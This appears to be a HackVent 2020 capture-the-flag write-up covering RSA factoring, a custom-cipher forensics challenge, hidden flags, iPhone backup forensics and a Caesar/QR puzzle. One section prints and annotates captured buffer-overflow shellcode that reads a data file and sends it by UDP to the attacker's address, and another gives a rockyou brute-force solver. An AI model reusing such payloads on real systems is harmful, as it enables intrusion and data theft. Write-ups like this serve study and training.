2|M||||||||6344440980251505214334711510534398387022222632429506422215055328147354699502|0||||||AÜ|AÜ|629844018|629844018|||||0|||A|A|0|0|-1||1|50808F95-A166-4290-97D3-3B9FA17073EB:ABPerson|||||||||
3|N||||||||77534090655128210476812812639070684519317429042401383232913500313570136429769|0||||||CÜ|CÜ|629844041|629844090|||||0|||C|C|0|0|-1||1|315422BB-B907-425D-9D68-7A4D94906B1B:ABPerson|||||||||M and N - remembering our hint to call Shamir, this could be an RSA message and a corresponding modulus (see https://en.wikipedia.org/wiki/RSA_(cryptosystem)#Operation).
In order to reverse the message to its original, the modulus must be factorizable so that we can derive the private key.
Note that a similar challenge appeared HackVent 2018 already and is nicely documented on mcia's blog: https://sigterm.ch/2018/12/25/hackvent-2018-write-up/#Hidden_Flag_3
Using factorDB, we're able to quickly factorize the modulus: http://factordb.com/index.php?query=77534090655128210476812812639070684519317429042401383232913500313570136429769, giving us p and q:
p: 250036537280588548265467573745565999443
q: 310091043086715822123974886007224132083
We also assume e to be 65537, as this is a common value for the parameter.
With that, we can now write a solver in python doing the math for us:
phie given phi, being dm given d and n...which results in the flag.
The solver script looks as follows:
import gmpy2
import binascii
m = 6344440980251505214334711510534398387022222632429506422215055328147354699502
n = 77534090655128210476812812639070684519317429042401383232913500313570136429769
p = 250036537280588548265467573745565999443
q = 310091043086715822123974886007224132083
e = 65537
'''
Credits: https://sigterm.ch/2018/12/25/hackvent-2018-write-up/#Hidden_Flag_3
m^d % n
x^e % n = m
'''
def encrypt(e, n, message):
return pow(int(message.encode("hex"), 16), e, n)
def decrypt(d, n, message):
res = pow(message, d, n)
return binascii.unhexlify('{0:02x}'.format(res))
phi = (p-1) * (q-1)
d = gmpy2.invert(e, phi)
plain = decrypt(d, n, m)
print(plain)HV20{s0rry_n0_gam3_to_play}
| Author | scryh |
| Level | leet |
| Categories | crypto, exploitation, network security, reverse engineering |
In order to prevent the leakage of any flags, Santa decided to instruct his elves to implement a secure data storage, which encrypts all entered data before storing it to disk.
According to the paradigm Always implement your own crypto the elves designed a custom hash function for storing user passwords as well as a custom stream cipher, which is used to encrypt the stored data.
Santa is very pleased with the work of the elves and stores a flag in the application. For his password he usually uses the secure password generator shuf -n1 rockyou.txt.
Giving each other a pat on the back for the good work the elves lean back in their chairs relaxedly, when suddenly the intrusion detection system raises an alert: the application seems to be exploited remotely!
Santa and the elves need your help!
The intrusion detection system captured the network traffic of the whole attack.
How did the attacker got in? Was (s)he able to steal the flag?
In the recorded network traffic, we can observe like some client (192.168.0.42:44740) logs in to Santa's system (192.168.0.1:5555) using credentials evil0r:lovebug1 and quits the application again by submitting 3 followed by some exploit payload, apparently:
0000 33 20 41 41 41 41 41 41 41 41 41 41 41 41 41 41 3 AAAAAAAAAAAAAA
0010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0020 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0030 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0040 41 41 10 41 40 00 00 00 00 00 68 74 78 74 00 48 AA.A@.....htxt.H
0050 bf 74 61 5f 64 61 74 61 2e 57 48 bf 64 61 74 61 .ta_data.WH.data
0060 2f 73 61 6e 57 48 89 e7 48 31 f6 48 31 d2 b8 02 /sanWH..H1.H1...
0070 00 00 00 0f 05 48 89 c7 48 ba 00 00 01 00 01 00 .....H..H.......
0080 00 00 52 6a 00 6a 00 6a 00 6a 00 48 89 e6 48 ba ..Rj.j.j.j.H..H.
0090 01 00 00 00 00 00 00 20 52 48 ba 00 00 00 13 37 ....... RH.....7
00a0 01 00 00 52 ba 20 00 00 00 b8 00 00 00 00 0f 05 ...R. ..........
00b0 48 31 c9 81 34 0e ef be ad de 48 83 c1 04 48 83 H1..4.....H...H.
00c0 f9 20 75 ef bf 02 00 00 00 be 02 00 00 00 48 31 . u...........H1
00d0 d2 b8 29 00 00 00 0f 05 48 89 c7 48 89 e6 48 83 ..).....H..H..H.
00e0 c6 03 ba 32 00 00 00 41 ba 00 00 00 00 6a 00 49 ...2...A.....j.I
00f0 b8 02 00 00 35 c0 a8 00 2a 41 50 49 89 e0 41 b9 ....5...*API..A.
0100 10 00 00 00 b8 2c 00 00 00 0f 05 bf 00 00 00 00 .....,..........
0110 b8 3c 00 00 00 0f 05 0a .<......
The connection then is terminated, however Santa's system follows up with a DNS request (UDP, port 53) towards the client with some odd looking request payload:
0000 13 37 01 00 00 01 00 00 00 00 00 00 .7..........
000c 20 // Indicates the length of the request
000d e5 af e5 ... // DNS request payload
0010 9d 31 ac a3 ca 21 1e c3 79 a6 73 23 5e da b6 a0 .1...!..y.s#^...
0020 8d 2e d3 b7 b6 6b 55 85 7e c8 34 22 7a .....kU.~.4"z
002d 00 . // Request payload terminator
002e 00 01 ..
0030 00 01 ..
Analysing the binary using Ghidra, it looks like show_menu is the core menu function, allowing to either show, enter or delete data or to quit the program.
It reads in 1000 chars to a variable with length 10 and saves them on the stack, condsidering only the very first character.
First, I decided to reverse the shell code, and have a look at what it does. Next I looked at the binary program to find out which part is exploitable.
From this very first analysis, it looks a lot like there's a buffer overflow happening, but let's see.
Using xxd I dumped the shell code into an own binary which I loaded into Ghidra to see what it gives. To my surprise, Ghidra managed to make sense out of it.
In parallel, I had a sneak peek at where the shell code hooks in - which is in the show_menu function. The show_menu function defines 3 variables, all in all taking up 66 bytes on the stack.
The shell code is prefixed by 66 characters to override the variables on the stack and the return address.
0000 33 20 41 41 41 41 41 41 41 41 41 41 41 41 41 41 3 AAAAAAAAAAAAAA
0010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA // 66 (0x42) characters (overriding local variables in `show_menu` function)
0020 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0030 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0040 41 41 AA
0042 10 41 40 00 00 00 00 00 .A@..... // Overrides return address to point to 0x00404110
004e 68 74 78 74 00 48 htxt.H // Start of shell code
0050 bf 74 61 5f 64 61 74 61 2e 57 48 bf 64 61 74 61 .ta_data.WH.data
0060 2f 73 61 6e 57 48 89 e7 48 31 f6 48 31 d2 b8 02 /sanWH..H1.H1...
0070 00 00 00 0f 05 48 89 c7 48 ba 00 00 01 00 01 00 .....H..H.......
0080 00 00 52 6a 00 6a 00 6a 00 6a 00 48 89 e6 48 ba ..Rj.j.j.j.H..H.
0090 01 00 00 00 00 00 00 20 52 48 ba 00 00 00 13 37 ....... RH.....7
00a0 01 00 00 52 ba 20 00 00 00 b8 00 00 00 00 0f 05 ...R. ..........
00b0 48 31 c9 81 34 0e ef be ad de 48 83 c1 04 48 83 H1..4.....H...H.
00c0 f9 20 75 ef bf 02 00 00 00 be 02 00 00 00 48 31 . u...........H1
00d0 d2 b8 29 00 00 00 0f 05 48 89 c7 48 89 e6 48 83 ..).....H..H..H.
00e0 c6 03 ba 32 00 00 00 41 ba 00 00 00 00 6a 00 49 ...2...A.....j.I
00f0 b8 02 00 00 ....
00f4 35 5 // Destination port
00f5 c0 a8 00 2a ...* // Destination address
009 41 50 49 89 e0 41 b9 API..A.
0100 10 00 00 00 b8 2c 00 00 00 0f 05 bf 00 00 00 00 .....,..........
0110 b8 3c 00 00 00 0f 05 0a .<......
The binary starting at 0x4a invokes the following syscalls (see https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/) in that order:
The shellcode opens data/santa_data.txt and reads out 32 bytes (XORed with 0xdeadbeef). The data is then sent to the indicated address through UDP on port 53.
Useful resources for reversing logic represented in assembly:
After reading the username (function login_username) and the password (function login_password which invokes check_pwd which invokes calc_hash), the central function is show_menu.
When the user selects to show decrypted data, the function show_data is invoked. show_data uses decrypt, which relies on keystream_get_char.
login_password()
`--> check_pwd(pwd_filename, pwd)
`--> calc_hash(pwd, pwd_length)
show_data(filename)
`--> decrypt(ctx,pwd_hash); // ctx contains encrypted data
`--> keystream_get_char(pwd_hash, count)
The functions to be reversed thus are keystream_get_char, decrypt and calc_hash. They are needed to brute-force decrypting the encrypted data.
I re-implemented the logic of these three functions in python. For large parts, Ghidra decompiled a nice representation in C, so re-implementing was relatively easy. Shortcuts were taken in the keystream_get_char function as all this bitshifting was negligeable:
#!/usr/bin/env python
import binascii
t = b'\xde\xad\xbe\xef\xc0\x12\x34\x56\x78\x9a'
def keystream_get_char(count, pwd_hash):
c = pwd_hash[count & 0xf]
b = t[c % 10]
return b ^ c ^ count
def decrypt(encrypted_data, pwd_hash):
decrypted_data = ''
for i in range(len(encrypted_data)):
val = keystream_get_char(i,pwd_hash)
decrypted_data += chr(encrypted_data[i] ^ val)
return decrypted_data
BYTEORDER = 'little'
def calc_hash(pwd):
local_58 = binascii.unhexlify('68617368')
local_50 = binascii.unhexlify('efbeadde')
local_48 = binascii.unhexlify('6d6f7265')
local_40 = binascii.unhexlify('eefe0fc0')
local_10 = binascii.unhexlify('68617368')
local_18 = binascii.unhexlify('efbeadde')
local_20 = binascii.unhexlify('6d6f7265')
local_28 = binascii.unhexlify('eefe0fc0')
for i in range(len(pwd)):
c = int(pwd[i])
local_50 = int.to_bytes(int.from_bytes(local_10, BYTEORDER) ^ (c * i & 0xff ^ c |
(c * (i + 0x31) & 0xff ^ c) << 0x18 |
(c * (i + 0x42) & 0xff ^ c) << 0x10 |
(c * (i + 0xef) & 0xff ^ c) << 0x8), 4, BYTEORDER)
local_48 = int.to_bytes(int.from_bytes(local_18, BYTEORDER) ^ (c * i & 0x5a ^ c |
(c * (i + 0xc0) & 0xff ^ c) << 0x18 |
(c * (i + 0x11) & 0xff ^ c) << 0x10 |
(c * (i + 0xde) & 0xff ^ c) << 0x8), 4, BYTEORDER)
local_40 = int.to_bytes(int.from_bytes(local_20, BYTEORDER) ^ (c * i & 0x22 ^ c |
(c * (i + 0xe3) & 0xff ^ c) << 0x18 |
(c * (i + 0xde) & 0xff ^ c) << 0x10 |
(c * (i + 0xd) & 0xff ^ c) << 0x8), 4, BYTEORDER)
local_58 = int.to_bytes(int.from_bytes(local_28, BYTEORDER) ^ (c * i & 0xef ^ c |
(c * (i + 0x52) & 0xff ^ c) << 0x18 |
(c * (i + 0x24) & 0xff ^ c) << 0x10 |
(c * (i + 0x33) & 0xff ^ c) << 0x8), 4, BYTEORDER)
local_28 = local_58
local_20 = local_40
local_18 = local_48
local_10 = local_50
return local_58 + local_50 + local_48 + local_40Operator precedence (in descending order):
The functions were re-combined to compute a hash from a given password and use the hash to decrypt the data. To know when to exit, I test for the string to start with HV20.
The wordlist to iterate through, as hinted by the challenge description, is the famous rockyou.txt wordlist.
def main():
flag_enc_enc = binascii.unhexlify('e5afe59d31aca3ca211ec379a673235edab6a08d2ed3b7b66b55857ec834227a')
flag_enc = b''
for i in range(0, len(flag_enc_enc), 4):
data = flag_enc_enc[i:i+4]
flag_enc += int.to_bytes(int.from_bytes(data, 'big') ^ int.from_bytes(b'\xde\xad\xbe\xef', 'little'), 4, 'big')
with open('rockyou.txt', 'r', errors='ignore') as fd:
i = 0
p = "start"
while p != "" or i < 2000000:
i += 1
p = fd.readline()[:-1]
h = calc_hash(bytes(p, 'utf-8'))
flag = decrypt(flag_enc, h)
if flag.startswith('HV20'):
# print("#######")
print("%%%%%% Success?!")
print("Password: %s" % p)
print("Flag: %s" % flag)
break
if (i % 10000) == 0:
print("Computed entry %s (%s)." % (str(i), p))
print("THE END")
if __name__ == '__main__':
# test_decrypt()
# test_calc_hash()
main()Running this solver prints the flag and reveals Santa's password to be xmasrocks.
The complete solver is available here.
HV20{0h_n0es_fl4g_g0t_l34k3d!1}
The first hidden flag is found in day 3.
To find it, one had to decrypt and inflate all encrypted files and go through them individually. File 0042.bin revealed a little surprise.
HV20{it_is_always_worth_checking_everywhere_and_congratulations,_you_have_found_a_hidden_flag}
Hidden 2 was (not so) hidden in Dec14's challenge.
Looking a bit closer what happens in the MBR using Ghidra shows that there's two arrays of values being XORed:
At 0xf4: 58 57 97 83 6f 65 76 36 5e 67 5d 64 4d 3c a5 75 f3 7c e0 1f 06 d1 ad 66 24 78 3c a3 e7 ...and staring 0x9e: 55 5d df d5 5d 55 0d 5e 6f 03 39 57 23 11 94 1b de 0c 8c 2b 37 bf 80 53 15 4e 54 94 9a
HV20{h1dd3n-1n-pl41n-516h7}
The flag came with the challenge on Dec23. We start at the point where we have the backup contents decrypted and available. $PWD is at the root of the backup folder.
Various searches have lead to nowhere:
for f in $(find -type f | grep sqlite); do TABLES=$(sqlite3 -list $f '.tables'); for t in $TABLES; do echo "### $f - $t ###"; sqlite3 $f "select * from $t;"; done ; done > db.dumpfor f in $(find -type f | grep storedata); do TABLES=$(sqlite3 -list $f '.tables'); for t in $TABLES; do echo "### $f - $t ###"; sqlite3 $f "select * from $t;"; done ; done > db.dumpfind -type f -iname *.png
# ./AppDomain-com.apple.mobilesafari/Library/Safari/Thumbnails/C6467A5D-4E96-45DB-9806-21931105D87C.pngfind -type f -iname *.jpg
for f in $(find -type f -iname *.mp4); do exiftool $f; binwalk $f; strings $f |grep 'HV20'; done# Find all different file types in the folder
for f in $(find -type f); do file -b $f; done | sort | uniq | less# Convert all Apple binary property list files to XML
for f in $(find -type f); do $(file -b $f | grep -qi 'Apple binary') || continue; echo "#### $f ####"; plistutil -i $f; done | lessAnd finally...:
for f in $(find -type f); do $(file -b $f | grep -qi 'sqlite') || continue; echo "#### $f ####"; strings $f; done | lessA base64-looking string jumped to my eye in this output...
strings ./HomeDomain/Library/AddressBook/AddressBook.sqlitedb
# includes: "http://SFYyMHtpVHVuM3NfYmFja3VwX2YwcmVuc2l4X0ZUV30=C66731B8-44AE-469B-9086-18A3A1F796B0"
echo "SFYyMHtpVHVuM3NfYmFja3VwX2YwcmVuc2l4X0ZUV30=" | base64 -d # Produces the flag.Sometimes it's worth the effort grepping for a ROT13 or, like in this case, a base64 encoded flag (or its prefix).
libplist-utils)HV20{iTun3s_backup_f0rensix_FTW}
| Author | Bread |
| Level | easy |
| Categories | fun |
On the third day of christmas my true love sent to me...
three caesar salads, two to (the) six arguments, one quick response.
Upon first reading the challenge the three lines rang a bell, there was some Caesar code involved, something something six arguments and a quick response (so a QR code). Only the middle verse was not instantly clear to me, so I tried the obvious: compute 2^6, which is 64 - which must be related to base64.
Applying Caesar code with a rotation of 3, followed by a base64 decode and saving the outcome in a file ending in "png" (you could see the format from the file's magic bytes), one could see a QR code shine through, which did - however - not have a high enough contrast. Correcting this with an image manipulation program, I was able to scan the code and get the flag.
ROT 3 on initial message: Verse 3 done! Off with you! Get back to work! You're not done here...
HV20{34t-sl33p-haxx-rep34t}